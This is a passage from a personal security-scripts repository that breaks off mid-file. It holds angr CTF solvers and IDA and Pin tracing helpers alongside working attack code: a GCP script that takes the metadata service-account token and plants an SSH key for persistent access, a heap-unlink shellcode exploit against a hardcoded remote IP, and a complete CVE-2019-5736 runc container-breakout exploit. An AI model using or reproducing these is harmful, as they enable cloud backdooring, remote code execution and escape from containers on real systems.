├── README.md ├── angr ├── babyre_solver.py └── bomb_lab_solver.py ├── idapython_codepath_tracer ├── README.md ├── crunchatize.py └── tracer.py ├── idapython_gdbinit_gen ├── README.md └── gdbinit_gen.py ├── misc ├── backdoor_gcp.py ├── heap_unlink.py ├── heapdump.gdbinit └── runc-cve-2019-5736.c ├── pin_play ├── basic_block.cpp └── ghetto_strace.cpp └── stegoextract ├── README.md ├── extractstego.py └── writestego.py /README.md: -------------------------------------------------------------------------------- 1 | scripts 2 | ======= 3 | 4 | idk 5 | -------------------------------------------------------------------------------- /angr/babyre_solver.py: -------------------------------------------------------------------------------- 1 | import angr, logging, sys, claripy 2 | 3 | #logging.basicConfig() 4 | #logging.getLogger('angr.surveyors.explorer').setLevel(logging.WARNING) 5 | 6 | counter = 0 7 | def scanf(state): 8 | global counter 9 | print counter 10 | #bitvector = state.se.BVS('int{0}'.format(counter), 32) 11 | bitvector = claripy.BVS('int{0}'.format(counter), 32) 12 | #state.add_constraints(bitvector > 0x1f) 13 | #state.add_constraints(bitvector < 0x7f) 14 | counter += 1 15 | state.memory.store(state.regs.rsi, bitvector) 16 | 17 | start_addr = 0x4006C6 18 | #dest_addr = 0x4025CC 19 | #dest_addr = 0x402911 20 | dest_addr = 0x4028E0 # right before CheckSolution 21 | dest_addr = 0x402917 # at positive answer 22 | 23 | proj = angr.Project('baby-re') 24 | #proj.hook(0x4005B0, scanf) 25 | for i in [0x402634, 0x40266C, 0x4026A4, 0x4026DC, 0x402714, 0x40274C, 0x402784, 0x4027BC, 0x4027F4, 0x40282C, 0x402864, 0x40289C, 0x4028D4]: 26 | proj.hook(i, scanf, length=5) 27 | #state = proj.factory.blank_state(addr=start_addr) 28 | state = proj.factory.full_init_state() 29 | path = proj.factory.path(state=state) 30 | ex = proj.surveyors.Explorer(start=path, find=(dest_addr,)) 31 | ex.run() 32 | print ex.found 33 | if not ex.found: 34 | print "fail" 35 | sys.exit(1) 36 | 37 | found = ex.found[0] 38 | print hex(found.state.se.any_int(found.state.regs.rip)) 39 | 40 | buf = '' 41 | for i in range(13): 42 | memory = found.state.se.any_int(found.state.memory.load(found.state.se.any_int(found.state.regs.rbp-0x30-i*4), 1)) 43 | buf = chr(memory) + buf 44 | #memory = (memory & 0xFF00000000000000) >> 56 45 | 46 | print buf 47 | sys.exit(0) 48 | import readline # optional, will allow Up/Down/History in the console 49 | import code 50 | vars = globals().copy() 51 | vars.update(locals()) 52 | shell = code.InteractiveConsole(vars) 53 | shell.interact() 54 | 55 | sys.exit(0) 56 | -------------------------------------------------------------------------------- /angr/bomb_lab_solver.py: -------------------------------------------------------------------------------- 1 | import angr, logging 2 | 3 | logging.basicConfig() 4 | logging.getLogger('angr.surveyors.explorer').setLevel(logging.WARNING) 5 | 6 | def phase2(): 7 | proj = angr.Project('bomb', load_options={'auto_load_libs':False}) 8 | 9 | def read_six_numbers(state): 10 | print "read_six_numbers" 11 | state.memory.store(state.regs.ebp-0x18, 1) 12 | 13 | proj.hook(0x8048fd8, read_six_numbers) 14 | start_addr = 0x08048b60 # after read_six_numbers 15 | 16 | dest_addr = 0x08048b6e # branch=true; mov ebx, 1 17 | dest_addr = 0x08048b8e 18 | 19 | state = proj.factory.blank_state(addr=start_addr) 20 | state.memory.store(state.regs.ebp-0x18, state.se.BVS('test', 32)) 21 | path = proj.factory.path(state=state) 22 | ex = proj.surveyors.Explorer(start=path, find=(dest_addr,), enable_veritesting=True) 23 | ex.run() 24 | 25 | numbers = [] 26 | 27 | if ex.found: 28 | found = ex.found[0].state 29 | for i in xrange(6): 30 | numbers.append(int(found.se.any_int( found.memory.load(found.regs.ebp-0x18+4*i,4).reversed ))) 31 | 32 | return numbers 33 | 34 | return False 35 | 36 | def phase3(): 37 | proj = angr.Project('bomb', load_options={'auto_load_libs':False}) 38 | 39 | start_addr = 0x8048bc9 40 | dest_addr = 0x8048c99 41 | 42 | state = proj.factory.blank_state(addr=start_addr) 43 | 44 | state.memory.store(state.regs.ebp-0xc, state.se.BVS('byte1', 32)) 45 | state.memory.store(state.regs.ebp-0x5, state.se.BVS('char', 4)) 46 | state.memory.store(state.regs.ebp-0x4, state.se.BVS('byte2', 32)) 47 | 48 | 49 | path = proj.factory.path(state=state) 50 | ex = proj.surveyors.Explorer(start=path, find=(dest_addr,), enable_veritesting=True) 51 | ex.run() 52 | 53 | numbers = [] 54 | 55 | if ex.found: 56 | found = ex.found[0].state 57 | numbers.append(int(found.se.any_int( found.memory.load(found.regs.ebp-0xc, 4).reversed ))) 58 | numbers.append(chr(found.se.any_int( found.memory.load(found.regs.ebp-0x5, 1).reversed ))) 59 | numbers.append(int(found.se.any_int( found.memory.load(found.regs.ebp-0x4, 4).reversed ))) 60 | 61 | return numbers 62 | 63 | return False 64 | 65 | def phase4(): 66 | proj = angr.Project('bomb', load_options={'auto_load_libs':False}) 67 | #proj.hook(0x08048d15, sym4) 68 | 69 | start_addr = 0x08048d03 70 | dest_addr = (0x08048d0e,0x08048d09) 71 | 72 | state = proj.factory.blank_state(addr=start_addr) 73 | #state.regs.eax = state.se.BVS('dong', 32) 74 | 75 | state.memory.store(state.regs.ebp-0x4, state.se.BVS('byte1', 32)) 76 | #state.memory.store(state.regs.ebp-0x4, 9) 77 | 78 | 79 | path = proj.factory.path(state=state) 80 | ex = proj.surveyors.Explorer(start=path, find=dest_addr, enable_veritesting=True) 81 | ex.run() 82 | 83 | numbers = [] 84 | 85 | if ex.found: 86 | found = ex.found[0].state 87 | numbers.append(int(found.se.any_int(found.regs.eax))) 88 | #numbers.append(int(found.se.any_int( found.memory.load(found.regs.ebp-0x4, 4).reversed ))) 89 | 90 | return False 91 | 92 | 93 | if __name__ == '__main__': 94 | print phase2() 95 | print phase3() 96 | print phase4() 97 | -------------------------------------------------------------------------------- /idapython_codepath_tracer/README.md: -------------------------------------------------------------------------------- 1 | # tracer.py 2 | 3 | A simple script that pops out a gdbinit file that allows you to track code 4 | coverage. It's helpful in figuring out what functionality goes down which path, 5 | making figuring out what to reverse a little easier. 6 | 7 | ## Usage 8 | 9 | Right now, there's no interface so you need to edit the file to do what you 10 | want. It should be fairly straight forward, though. 11 | 12 | There are three "modes": 13 | 14 | - `BASIC_FUNCTION_TRACE`: Track which functions are called 15 | - `SPECIFIC_FUNCTION_TRACE`: Track all the codepaths within a specific function 16 | - `FULL_FUNCTION_TRACE`: Track every codepath in every function 17 | 18 | Steps: 19 | 20 | 1. Select a mode 21 | 2. Load up tracer.py 22 | 3. Save gdbinit file somewhere 23 | 4. Run binary with `gdb -x gdbinit ./binary` 24 | 5. Load `crunchatize.py` with the resulting `traces.txt` file. 25 | 26 | ## Future 27 | 28 | - Different debugger support 29 | - Show diffs for multiple executions (paimei process stalker style) 30 | 31 | -------------------------------------------------------------------------------- /idapython_codepath_tracer/crunchatize.py: -------------------------------------------------------------------------------- 1 | import idc 2 | import idautils 3 | import idaapi 4 | 5 | traces = open(idc.AskFile(0, "*", "Where the traces at?"), 'r').read() 6 | traces = [int(trace) for trace in traces.split()] 7 | unique_traces = {} 8 | for trace in traces: 9 | if trace not in unique_traces: 10 | unique_traces[trace] = 1 11 | else: 12 | unique_traces[trace] += 1 13 | 14 | def get_basic_block(ea): 15 | basic_blocks = idaapi.FlowChart(idaapi.get_func(ea)) 16 | for block in basic_blocks: 17 | if block.startEA == ea: 18 | return block 19 | 20 | def color_block (bb, color): 21 | for ea in idautils.Heads(bb.startEA, bb.endEA): 22 | idc.SetColor(ea, idc.CIC_ITEM, color) 23 | 24 | for trace in unique_traces: 25 | idc.MakeComm(trace, "Hit %d times"%unique_traces[trace]) 26 | color_block(get_basic_block(trace), 0xc8ffc8) 27 | -------------------------------------------------------------------------------- /idapython_codepath_tracer/tracer.py: -------------------------------------------------------------------------------- 1 | import idc 2 | import idautils 3 | import idaapi 4 | 5 | BASIC_FUNCTION_TRACE = 1 6 | SPECIFIC_FUNCTION_TRACE = 2 7 | FULL_FUNCTION_TRACE = 3 8 | function_name = "phase_3" 9 | 10 | current_mode = FULL_FUNCTION_TRACE 11 | 12 | def get_basic_blocks(ea): 13 | basic_blocks = [block.startEA for block in idaapi.FlowChart(idaapi.get_func(ea))] 14 | return basic_blocks 15 | 16 | def get_function_name(function_name): 17 | start = idc.BeginEA() 18 | for funcea in idautils.Functions(idc.SegStart(ea), idc.SegEnd(ea)): 19 | if function_name == idc.GetFunctionName(funcea): 20 | return funcea 21 | 22 | def trace_specific_function(function_name): 23 | target = get_function_name(function_name) 24 | return get_basic_blocks(target) 25 | 26 | def trace_all_functions(): 27 | blocks = [] 28 | start = idc.BeginEA() 29 | for funcea in idautils.Functions(idc.SegStart(ea), idc.SegEnd(ea)): 30 | blocks += get_basic_blocks(funcea) 31 | return blocks 32 | 33 | def trace_function_calls(): 34 | blocks = [] 35 | start = idc.BeginEA() 36 | for funcea in idautils.Functions(idc.SegStart(ea), idc.SegEnd(ea)): 37 | blocks.append(funcea) 38 | return blocks 39 | 40 | if current_mode == SPECIFIC_FUNCTION_TRACE: 41 | traces = trace_specific_function(function_name) 42 | elif current_mode == FULL_FUNCTION_TRACE: 43 | traces = trace_all_functions() 44 | elif current_mode == BASIC_FUNCTION_TRACE: 45 | traces = trace_function_calls() 46 | 47 | buf = "python trace_file = open('traces.txt', 'w')\n" 48 | for trace in traces: 49 | buf += "break *"+hex(trace)+"\n" 50 | buf += "commands\n" 51 | buf += " python trace_file.write('%d\\n')\n"%trace 52 | buf += " continue\n" 53 | buf += "end\n" 54 | 55 | output_file = idc.AskFile(1, "*", "Save gdbinit file?") 56 | if output_file: 57 | handle = open(output_file, "w") 58 | handle.write(buf) 59 | handle.close() 60 | 61 | -------------------------------------------------------------------------------- /idapython_gdbinit_gen/README.md: -------------------------------------------------------------------------------- 1 | # gdbinit_gen.py 2 | 3 | This script just generates a .gdbinit for gdb. It sets aliases for anything 4 | that has a name associated with an address (for example, a function renamed 5 | from sub_8048DB0 to some_function). Using this gdbinit, you can break on 6 | functions or read memory using their names instead of addresses. 7 | 8 | ## Example Generated .gdbinit 9 | 10 | ``` 11 | set $_init_proc=0x80486bc 12 | set $_printf=0x80486f0 13 | set $_fflush=0x8048700 14 | set $__exit=0x8048710 15 | set $_wattr_on=0x8048720 16 | set $_waddch=0x8048730 17 | set $_gettimeofday=0x8048740 18 | set $_init_pair=0x8048750 19 | set $_wrefresh=0x8048760 20 | set $_initscr=0x8048770 21 | set $_start_color=0x8048780 22 | set $_wattr_off=0x8048790 23 | set $_puts=0x80487a0 24 | set $___gmon_start__=0x80487b0 25 | set $_strtoul=0x80487c0 26 | set $_printw=0x80487d0 27 | set $___libc_start_main=0x80487e0 28 | set $_endwin=0x80487f0 29 | set $_wgetch=0x8048800 30 | set $_noecho=0x8048810 31 | set $___isoc99_scanf=0x8048820 32 | set $_wmove=0x8048830 33 | set $start=0x8048840 34 | set $play_game=0x8049283 35 | set $main_thing=0x8049748 36 | set $nullsub_1=0x8049930 37 | set $_term_proc=0x8049934 38 | set $_IO_stdin_used=0x804994c 39 | set $aUseHLToMovePre=0x8049950 40 | set $aEndPressEnterT=0x8049975 41 | set $s=0x804998f 42 | set $format=0x8049999 43 | set $__gmon_start___ptr=0x804affc 44 | set $stdscr=0x804b080 45 | set $stdout=0x804b0a0 46 | set $printf=0x804b4a8 47 | set $fflush=0x804b4ac 48 | set $_exit=0x804b4b0 49 | set $wattr_on=0x804b4b4 50 | set $waddch=0x804b4b8 51 | set $gettimeofday=0x804b4bc 52 | set $init_pair=0x804b4c0 53 | set $wrefresh=0x804b4c4 54 | set $initscr=0x804b4c8 55 | set $start_color=0x804b4cc 56 | set $wattr_off=0x804b4d0 57 | set $puts=0x804b4d4 58 | set $strtoul=0x804b4d8 59 | set $printw=0x804b4dc 60 | set $__libc_start_main=0x804b4e0 61 | set $endwin=0x804b4e4 62 | set $wgetch=0x804b4e8 63 | set $noecho=0x804b4ec 64 | set $__isoc99_scanf=0x804b4f0 65 | set $wmove=0x804b4f4 66 | ``` 67 | 68 | ## Using the .gdbinit 69 | 70 | ``` 71 | gdb-peda$ source .gdbinit 72 | gdb-peda$ break *$play_game 73 | Breakpoint 1 at 0x8049283 74 | gdb-peda$ run 75 | Starting program: /home/jesus/test/4stone 76 | [----------------------------------registers-----------------------------------] 77 | EAX: 0x804c190 --> 0x0 78 | EBX: 0xf7f7c000 --> 0x1a5d7c 79 | ECX: 0xff 80 | EDX: 0x0 81 | ESI: 0x0 82 | EDI: 0x0 83 | EBP: 0xffffd9c8 --> 0x0 84 | ESP: 0xffffd97c --> 0x804977f (mov DWORD PTR [esp+0x24],eax) 85 | EIP: 0x8049283 (push ebp) 86 | EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) 87 | [-------------------------------------code-------------------------------------] 88 | 0x804927c: call 0x8048790 89 | 0x8049281: leave 90 | 0x8049282: ret 91 | => 0x8049283: push ebp 92 | 0x8049284: mov ebp,esp 93 | 0x8049286: sub esp,0x38 94 | 0x8049289: mov DWORD PTR [ebp-0x20],0x0 95 | 0x8049290: mov DWORD PTR [ebp-0x18],0x0 96 | [------------------------------------stack-------------------------------------] 97 | 0000| 0xffffd97c --> 0x804977f (mov DWORD PTR [esp+0x24],eax) 98 | 0004| 0xffffd980 --> 0xffffd9a8 --> 0x530beaf6 99 | 0008| 0xffffd984 --> 0x0 100 | 0012| 0xffffd988 --> 0x0 101 | 0016| 0xffffd98c --> 0x80486c5 (<_init+9>: add ebx,0x293b) 102 | 0020| 0xffffd990 --> 0xf7f7c3e4 --> 0xf7f7d1e0 --> 0x0 103 | 0024| 0xffffd994 --> 0xd ('\r') 104 | 0028| 0xffffd998 --> 0x804b000 --> 0x804af04 --> 0x1 105 | [------------------------------------------------------------------------------] 106 | Legend: code, data, rodata, value 107 | 108 | Breakpoint 1, 0x08049283 in ?? () 109 | ``` 110 | -------------------------------------------------------------------------------- /idapython_gdbinit_gen/gdbinit_gen.py: -------------------------------------------------------------------------------- 1 | import idautils, idc 2 | 3 | gdbinit = "" 4 | for name_address in idautils.Names(): 5 | addr = name_address[0] 6 | name = name_address[1] 7 | 8 | name = name.replace('.', '_') 9 | gdbinit += "set $%s=0x%x\n"%(name, addr) 10 | 11 | if gdbinit: 12 | output_file = idc.AskFile(1, "*", "Save gdbinit file?") 13 | if output_file: 14 | handle = open(output_file, "w") 15 | handle.write(gdbinit) 16 | handle.close() 17 | else: 18 | idc.Warning("gdbinit file not saved") 19 | else: 20 | idc.Warning("no gdbinit generated") 21 | -------------------------------------------------------------------------------- /misc/backdoor_gcp.py: -------------------------------------------------------------------------------- 1 | import requests, json, sys 2 | 3 | def main(public_key=None): 4 | access_token = get_access_token() 5 | project_name = get_project_name() 6 | instance_name = get_instance_name() 7 | zone = get_instance_zone() 8 | print "Got Access Token: {}...".format(access_token[:20]) 9 | print "Got project name: {}...".format(project_name) 10 | print "Got instance name: {}...".format(instance_name) 11 | print '='*80 12 | project_keys = get_project_keys(access_token) 13 | instance_keys = get_instance_keys(access_token) 14 | print len(project_keys), "keys for the project" 15 | print len(instance_keys), "keys for this instance" 16 | print '='*80 17 | 18 | if not public_key: 19 | print "No public key provided, exiting." 20 | sys.exit(0) 21 | 22 | project_keys.append(public_key) 23 | instance_keys.append(public_key) 24 | 25 | print "Adding key to this instance" 26 | print update_instance_keys(access_token, instance_keys, project_name, zone, instance_name) 27 | print "Adding key to the project" 28 | print update_project_keys(access_token, project_keys, project_name) 29 | 30 | 31 | def make_authenticated_request(url, bearer_token, post_data=None): 32 | headers = { 33 | "Metadata-Flavor": "Google", 34 | "Authorization": "Bearer {}".format(bearer_token) 35 | } 36 | 37 | if post_data is not None: 38 | headers.update({"Content-Type": "application/json"}) 39 | http_response = requests.post(url, headers=headers, data=json.dumps(post_data)).text 40 | else: 41 | http_response = requests.get(url, headers=headers).text 42 | 43 | if http_response and http_response[0] == "{": 44 | return json.loads(http_response) 45 | else: 46 | return http_response 47 | 48 | def make_unauthenticated_request(url): 49 | headers = { 50 | "Metadata-Flavor": "Google" 51 | } 52 | 53 | http_response = requests.get(url, headers=headers).text 54 | if http_response[0] == "{": 55 | return json.loads(http_response) 56 | else: 57 | return http_response 58 | 59 | def update_project_keys(access_token, keys, project_name): 60 | return make_authenticated_request( 61 | "https://www.googleapis.com/compute/v1/projects/{}/setCommonInstanceMetadata".format(project_name), 62 | access_token, 63 | {"items": [ 64 | {"key": "ssh-keys", "value": "\n".join(keys)} 65 | ]}) 66 | 67 | def get_project_keys(access_token): 68 | return make_authenticated_request( 69 | "http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys", 70 | access_token 71 | ).split("\n") 72 | 73 | def update_instance_keys(access_token, keys, project_name, zone, instance_name): 74 | fingerprint = make_authenticated_request( 75 | "https://www.googleapis.com/compute/v1/projects/{}/zones/{}/instances/{}".format(project_name, zone, instance_name), 76 | access_token 77 | ) 78 | 79 | if 'metadata' not in fingerprint: 80 | raise Exception("Couldn't extract metadata fingerprint: "+fingerprint['error']['message']) 81 | 82 | fingerprint = fingerprint['metadata']['fingerprint'] 83 | return make_authenticated_request( 84 | "https://www.googleapis.com/compute/v1/projects/{}/zones/{}/instances/{}/setMetadata".format(project_name, zone, instance_name), 85 | access_token, 86 | {"fingerprint": fingerprint, "items": [{"key": "ssh-keys", "value": "\n".join(keys)}]} 87 | ) 88 | 89 | 90 | def get_instance_keys(access_token): 91 | return make_authenticated_request( 92 | "http://metadata.google.internal/computeMetadata/v1/instance/attributes/ssh-keys", 93 | access_token 94 | ).split("\n") 95 | 96 | 97 | def get_instance_zone(): 98 | return make_unauthenticated_request( 99 | "http://metadata.google.internal/computeMetadata/v1/instance/zone", 100 | ).split("/")[-1] 101 | 102 | def get_instance_name(): 103 | return make_unauthenticated_request( 104 | "http://metadata.google.internal/computeMetadata/v1/instance/name", 105 | ) 106 | 107 | def get_access_token(): 108 | return make_unauthenticated_request( 109 | "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" 110 | )['access_token'] 111 | 112 | def get_project_name(): 113 | return make_unauthenticated_request( 114 | "http://metadata.google.internal/computeMetadata/v1/project/project-id" 115 | ) 116 | 117 | if __name__ == "__main__": 118 | public_key = None 119 | if len(sys.argv) > 1: 120 | public_key = sys.argv[1] 121 | 122 | main(public_key) 123 | 124 | -------------------------------------------------------------------------------- /misc/heap_unlink.py: -------------------------------------------------------------------------------- 1 | import time, pwn, os, struct 2 | 3 | local = False 4 | if local: 5 | s = pwn.remote("localhost", 2323) 6 | os.system("echo nye; pgrep messenger; echo bye") 7 | raw_input("> ") 8 | else: 9 | s = pwn.remote("110.10.212.137", 3333) 10 | 11 | print s.recvuntil(">> ") 12 | def allocate_note(s, size, msg): 13 | s.send("L\n") 14 | print s.recv(1024) 15 | s.send("{}\n".format(size)) 16 | print s.recv(1024) 17 | s.send("{}\n".format(msg)) 18 | print s.recvuntil(">> ") 19 | 20 | def change_note(s, index, size, msg): 21 | s.send("C\n") 22 | print s.recv(1024) 23 | s.send("{}\n".format(index)) 24 | print s.recv(1024) 25 | s.send("{}\n".format(size)) 26 | print s.recv(1024) 27 | s.send("{}\n".format(msg)) 28 | print s.recvuntil(">> ") 29 | 30 | def remove_note(s, index): 31 | s.send("R\n") 32 | print s.recv(1024) 33 | s.send("{}\n".format(index)) 34 | print s.recvuntil(">> ") 35 | 36 | def view_note(s, index): 37 | s.send("V\n") 38 | print s.recv(1024) 39 | s.send("{}\n".format(index)) 40 | response = s.recvuntil(">> ").split("\n[L]")[0] 41 | return response 42 | 43 | def build_payload(dest_addr, src_addr, shellcode): 44 | dest_addr = struct.pack('Q', dest_addr) 45 | src_addr = struct.pack('Q', src_addr) 46 | buffer = ''.join([ 47 | '$'*32, 48 | 'A'*8, 49 | 'B'*8, 50 | '\xCC'*100 51 | ]) 52 | 53 | buffer = ''.join([ 54 | '$'*32, 55 | src_addr, 56 | dest_addr, 57 | shellcode 58 | ]) 59 | 60 | return buffer 61 | 62 | shellcode = "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05\xcc" 63 | allocate_note(s, 10, "A"*9) 64 | allocate_note(s, 10, "B"*9) 65 | change_note(s, 0, 32, "A"*31) 66 | address = struct.unpack("I", view_note(s, 0)[-4:].strip().ljust(4, '\x00'))[0] 67 | address = (address & 0xFFFFFF00 + 0x30) + (0x32 + 0x10) # address of first note + stuff before payload 68 | print "hacker code at ", hex(address) 69 | change_note(s, 0, 1000, build_payload(0x602070-8, address, "\x90"*18 + "\x90\xeb\x1f"+"\x90"*100+shellcode)) 70 | #change_note(s, 0, 1000, "A"*32) 71 | remove_note(s, 1) 72 | 73 | s.interactive() 74 | -------------------------------------------------------------------------------- /misc/heapdump.gdbinit: -------------------------------------------------------------------------------- 1 | define dump_full_chain 2 | if $argc == 1 3 | set $start = $arg0 - 4 4 | set $current = $start 5 | set $size = *($current) 6 | set $counter = 0 7 | set $in_use = *($current + $size) & 1 8 | while $size != 0 9 | if mem == ($current+4) 10 | printf "Address: 0x%x; Previous: 0x%x; Size: 0x%x (%d); Data: 0x%x (InUse: %x)<- current\n", $current+4, (*($current-4)), (*($current)&0xFFFFFFFE), (*($current)&0xFFFFFFFE), *($current+4), $in_use 11 | else 12 | printf "Address: 0x%x; Previous: 0x%x; Size: 0x%x (%d); Data: 0x%x (InUse: %x)\n", $current+4, (*($current-4)), (*($current)&0xFFFFFFFE), (*($current)&0xFFFFFFFE), *($current+4), $in_use 13 | end 14 | 15 | set $current = $current + (*($current)&0xFFFFFFFE) 16 | set $size = (*($current)&0xFFFFFFFE) 17 | set $in_use = *($current + $size) & 1 18 | set $counter = $counter + 1 19 | if $counter > 30 20 | printf "you buggin\n" 21 | break 22 | end 23 | end 24 | end 25 | end 26 | 27 | break free 28 | commands 29 | silent 30 | if mem==0x0 31 | continue 32 | else 33 | dump_full_chain $root 34 | end 35 | end 36 | -------------------------------------------------------------------------------- /misc/runc-cve-2019-5736.c: -------------------------------------------------------------------------------- 1 | /* 2 | * CVE-2019-5736: runc container breakout (all versions) 3 | * More info: https://seclists.org/oss-sec/2019/q1/119 4 | * 5 | * tested on runc with docker 6 | * written by @ancat, thanks to @itszn13 and @sixhundredns for help 7 | * 8 | * $ gcc runc-cve-2019-5736.c -o exploit 9 | * 10 | * # in container as root 11 | * # ./exploit 12 | * waiting for a target runc process... 13 | * <<<< at this point use `docker exec` to interact with this container to trigger the exploit >>>> 14 | * found a runc binary at pid=33810, suspending it so we can mess around 15 | * runc @ /proc/33810/exe 16 | * opened rdonly handle to runc 17 | * letting the target process complete 33810 (kill -CONT) 18 | * opening parent's handle to exe as rw (/proc/33809/fd/3) 19 | * success! 4 should be read write 20 | * success! replaced the host's runc binary with the payload (89 bytes out) 21 | * 22 | * # on parent host 23 | * $ cat /usr/bin/runc 24 | * #!/bin/sh 25 | * # this was dropped by the container 26 | * echo poop >> /tmp/hacked 27 | * id >> /tmp/hacked 28 | * 29 | * $ cat /tmp/hacked 30 | * poop 31 | * uid=0(root) gid=0(root) groups=0(root) 32 | */ 33 | 34 | #define _GNU_SOURCE 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | 46 | char payload[] = "#!/bin/sh\n" 47 | "# this was dropped by the container\n" 48 | "echo poop >> /tmp/hacked\n" 49 | "id >> /tmp/hacked\n"; 50 | 51 | int get_runc_pid() { 52 | DIR* proc = opendir("/proc/"); 53 | if (proc == NULL) { 54 | perror("opendir"); 55 | exit(2); 56 | } 57 | 58 | struct dirent *dp; 59 | int pid = 0; 60 | char progname[255] = {0}; 61 | char* cmdline; 62 | while ((dp = readdir(proc)) != NULL) { 63 | pid = atoi(dp->d_name); 64 | if (!pid) { 65 | continue; 66 | } 67 | 68 | asprintf(&cmdline, "/proc/%d/cmdline", pid); 69 | int pid_fd = open(cmdline, O_RDONLY); 70 | if (pid_fd < 0) 71 | continue; 72 | 73 | read(pid_fd, progname, 254); 74 | if (strncmp(progname, "/proc/self/exe", strlen("/proc/self/exe")) == 0) { 75 | free(cmdline); 76 | close(pid_fd); 77 | closedir(proc); 78 | return pid; 79 | } 80 | free(cmdline); 81 | close(pid_fd); 82 | } 83 | 84 | closedir(proc); 85 | return 0; 86 | } 87 | 88 | int main(int argc, char** argv) { 89 | int target_pid;//= atoi(argv[1]); 90 | 91 | if (argc > 1) { 92 | target_pid = atoi(argv[1]); 93 | } else { 94 | printf("waiting for a target runc process...\n"); 95 | while (1) { 96 | target_pid = get_runc_pid(); 97 | if (target_pid != 0) { 98 | printf("found a runc binary at pid=%d, suspending it so we can mess around\n", target_pid); 99 | kill(target_pid, 19); // stop 100 | break; 101 | } 102 | } 103 | } 104 | 105 | char* runc_path; 106 | asprintf(&runc_path, "/proc/%d/exe", target_pid); 107 | printf("runc @ %s\n", runc_path); 108 | 109 | int exe = open(runc_path, O_RDONLY); 110 | if (exe < 0) { 111 | perror("open"); 112 | exit(1); 113 | } 114 | 115 | printf("opened rdonly handle to runc\n"); 116 | printf("letting the target process complete %d (kill -CONT)\n", target_pid); 117 | if (kill(target_pid, 18) < 0) { 118 | perror("kill"); 119 | exit(69); 120 | } 121 | 122 | int pid = fork(); 123 | if (pid < 0) { 124 | perror("fork"); 125 | } 126 | 127 | if (pid == 0) { 128 | int parent = getppid(); 129 | char* indirect_exe; 130 | asprintf(&indirect_exe, "/proc/%d/fd/3", parent); 131 | printf("opening parent's handle to exe as rw (%s)\n", indirect_exe); 132 | while(1) { 133 | int indirect_fd = open(indirect_exe, O_RDWR | O_TRUNC); 134 | if (indirect_fd < 0) { 135 | // perror("open3"); 136 | continue; 137 | } 138 | 139 | printf("success! %d should be read write\n", indirect_fd); 140 | int bytes_out = write(indirect_fd, payload, strlen(payload)); 141 | close(indirect_fd); 142 | printf("success! replaced the host's runc binary with the payload (%d bytes out)\n", bytes_out); 143 | break; 144 | } 145 | while (1) {} 146 | } else { 147 | waitpid(pid, NULL, 0); 148 | printf("parent exiting\n"); 149 | while (1) {} 150 | exit(6); 151 | } 152 | 153 | exit(1); 154 | } 155 | -------------------------------------------------------------------------------- /pin_play/basic_block.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | basic pin tool for printing out basic blocks executed in the main executable 3 | warning: pin has a different definition of basic blocks so it might not 4 | match up with what ida says. 5 | */ 6 | 7 | #include "pin.H" 8 | #include 9 | #include 10 | #include 11 | 12 | std::ostream * out = &cerr; 13 | ADDRINT image_low; 14 | ADDRINT image_high; 15 | USIZE image_size; 16 | 17 | KNOB KnobOutputFile(KNOB_MODE_WRITEONCE, "pintool", 18 | "o", "", "specify file name for MyPinTool output"); 19 | 20 | INT32 Usage() { 21 | cerr << KNOB_BASE::StringKnobSummary() << endl; 22 | return -1; 23 | } 24 | 25 | VOID Image(IMG img, VOID * v) { 26 | if (IMG_IsMainExecutable(img)) { 27 | printf( 28 | "LowAddress: %lx HighAddress: %lx ImageBase: %lx: %s\n", 29 | IMG_LowAddress(img), 30 | IMG_HighAddress(img), 31 | IMG_StartAddress(img), 32 | IMG_Name(img).c_str() 33 | ); 34 | image_low = IMG_LowAddress(img); 35 | image_high = IMG_HighAddress(img); 36 | } 37 | } 38 | 39 | VOID Fini(INT32 code, VOID* v) { 40 | *out << "===============================================" << endl; 41 | } 42 | 43 | VOID PIN_FAST_ANALYSIS_CALL handle_basic_block(UINT32 number_instruction_in_bb, ADDRINT address_bb) { 44 | if (image_low <= address_bb && image_high > address_bb) { 45 | printf("handling basic block %p (%d instrs)\n", (void*) address_bb, number_instruction_in_bb); 46 | } 47 | } 48 | 49 | VOID trace_instrumentation(TRACE trace, VOID *v) 50 | { 51 | for(BBL bbl = TRACE_BblHead(trace); BBL_Valid(bbl); bbl = BBL_Next(bbl)) { 52 | BBL_InsertCall( 53 | bbl, 54 | IPOINT_ANYWHERE, 55 | (AFUNPTR)handle_basic_block, 56 | IARG_FAST_ANALYSIS_CALL, 57 | IARG_UINT32, 58 | BBL_NumIns(bbl), 59 | 60 | IARG_ADDRINT, 61 | BBL_Address(bbl), 62 | 63 | IARG_END 64 | ); 65 | } 66 | } 67 | 68 | int main(int argc, char** argv) { 69 | if(PIN_Init(argc,argv)) { 70 | return Usage(); 71 | } 72 | 73 | string fileName = KnobOutputFile.Value(); 74 | 75 | if (!fileName.empty()) { out = new std::ofstream(fileName.c_str());} 76 | 77 | // trace image loading 78 | IMG_AddInstrumentFunction(Image, 0); 79 | TRACE_AddInstrumentFunction(trace_instrumentation, 0); 80 | // Start the program, never returns 81 | PIN_StartProgram(); 82 | 83 | return 0; 84 | } 85 | 86 | -------------------------------------------------------------------------------- /pin_play/ghetto_strace.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | A ghetto strace based on pin. Probably won't work for multithreaded programs. 3 | pin makes errythang easy. 4 | */ 5 | 6 | #include "pin.H" 7 | #include 8 | #include 9 | #include 10 | 11 | VOID trace_syscall_entry(THREADID threadIndex, CONTEXT *ctxt, SYSCALL_STANDARD std, VOID *v) { 12 | printf("syscall0x%lx(0x%lx, 0x%lx, 0x%lx, 0x%lx) = ", 13 | PIN_GetSyscallNumber(ctxt, std), 14 | PIN_GetSyscallArgument(ctxt, std, 0), 15 | PIN_GetSyscallArgument(ctxt, std, 1), 16 | PIN_GetSyscallArgument(ctxt, std, 2), 17 | PIN_GetSyscallArgument(ctxt, std, 3) 18 | ); 19 | } 20 | 21 | VOID trace_syscall_exit(THREADID threadIndex, 